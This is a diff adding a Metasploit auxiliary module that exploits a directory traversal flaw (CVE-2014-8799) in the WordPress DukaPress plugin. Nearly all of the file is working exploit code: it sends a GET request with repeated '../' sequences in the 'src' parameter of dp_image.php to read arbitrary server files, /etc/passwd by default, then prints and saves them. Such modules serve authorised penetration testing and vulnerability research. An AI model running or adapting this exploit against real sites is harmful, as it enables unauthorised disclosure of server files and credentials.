|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'WordPress DukaPress Plugin File Read Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability in WordPress Plugin |
| 19 | + "DukaPress" version 2.5.2, allowing to read arbitrary files with the |
| 20 | + web server privileges. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + ['EDB', '35346'], |
| 25 | + ['CVE', '2014-8799'], |
| 26 | + ['WPVDB', '7731'], |
| 27 | + ['OSVDB', '115130'] |
| 28 | + ], |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Kacper Szurek', # Vulnerability discovery |
| 32 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE |
| 35 | + )) |
| 36 | + |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), |
| 40 | + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) |
| 41 | + ], self.class) |
| 42 | + end |
| 43 | + |
| 44 | + def check |
| 45 | + check_plugin_version_from_readme('dukapress', '2.5.7') |
| 46 | + end |
| 47 | + |
| 48 | + def run_host(ip) |
| 49 | + traversal = "../" * datastore['DEPTH'] |
| 50 | + filename = datastore['FILEPATH'] |
| 51 | + filename = filename[1, filename.length] if filename =~ /^\// |
| 52 | + |
| 53 | + res = send_request_cgi({ |
| 54 | + 'method' => 'GET', |
| 55 | + 'uri' => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'), |
| 56 | + 'vars_get' => |
| 57 | + { |
| 58 | + 'src' => "#{traversal}#{filename}" |
| 59 | + } |
| 60 | + }) |
| 61 | + |
| 62 | + if res && res.code == 200 && res.body.length > 0 |
| 63 | + |
| 64 | + print_status('Downloading file...') |
| 65 | + print_line("\n#{res.body}") |
| 66 | + |
| 67 | + fname = datastore['FILEPATH'] |
| 68 | + |
| 69 | + path = store_loot( |
| 70 | + 'dukapress.file', |
| 71 | + 'text/plain', |
| 72 | + ip, |
| 73 | + res.body, |
| 74 | + fname |
| 75 | + ) |
| 76 | + |
| 77 | + print_good("#{peer} - File saved in: #{path}") |
| 78 | + else |
| 79 | + print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.") |
| 80 | + end |
| 81 | + end |
| 82 | +end |
0 commit comments